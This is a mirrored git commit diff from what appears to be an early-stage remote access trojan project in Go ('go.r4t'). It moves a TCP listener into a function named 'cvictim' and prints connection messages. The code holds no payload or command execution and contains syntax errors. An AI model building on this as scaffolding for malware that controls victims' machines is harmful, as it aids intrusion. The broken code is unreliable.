mirror of
https://github.com/legitnull/go.r4t
synced 2024-06-16 03:48:05 +00:00
updated cleaned up server, added core
This commit is contained in:
parent
6700eec8a0
commit
e28d66290b
@ -15,6 +15,10 @@ func main() {
|
||||
fmt.Println("Connection not established with server")
|
||||
log.Fatal(err)
|
||||
}
|
||||
fmt.Println("[+] Connection Established with: ", connec.RemoteAddr().String())
|
||||
fmt.Println("[+] Connection Established with: ", connc.RemoteAddr().String())
|
||||
fmt.Println("brain melting commencing")
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
|
23
server/core/hconnc/econnc.go
Normal file
23
server/core/hconnc/econnc.go
Normal file
@ -0,0 +1,23 @@
|
||||
package hconnc
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"net"
|
||||
)
|
||||
|
||||
func cvictim(IP string, Port string)(connc net.Conn, err error){
|
||||
Addy := IP + ":" + Port
|
||||
|
||||
lis, err := net.Listen("tcp", Addy)
|
||||
if err != nil {
|
||||
return connc, err
|
||||
}
|
||||
connc, err = lis.Accept()
|
||||
if err != nil{
|
||||
return connc, err)
|
||||
} else {
|
||||
return
|
||||
|
||||
}
|
||||
|
||||
}
|
@ -11,17 +11,11 @@ func main() {
|
||||
var connc net.Conn
|
||||
IP := "127.0.0.1"
|
||||
Port := "5555"
|
||||
Addy := IP + ":" + Port
|
||||
|
||||
lis, err := net.Listen("tcp", Addy)
|
||||
if err != nil {
|
||||
|
||||
connc, err := hconnc.cvictim(IP, Port)
|
||||
if err != nil{
|
||||
log.Fatal(err)
|
||||
}
|
||||
connc, err = lis.Accept()
|
||||
if err != nil {
|
||||
log.Println("[-] Connection not established!")
|
||||
} else {
|
||||
fmt.Println("[+] Connection established from: " + connc.RemoteAddr().String())
|
||||
fmt.Println("brain melting commencing")
|
||||
}
|
||||
defer connc.Close()
|
||||
fmt.Println("[+] Connected with ", connc.RemoteAddr().String())
|
||||
}
|
||||
|
Loading…
Reference in New Issue
Block a user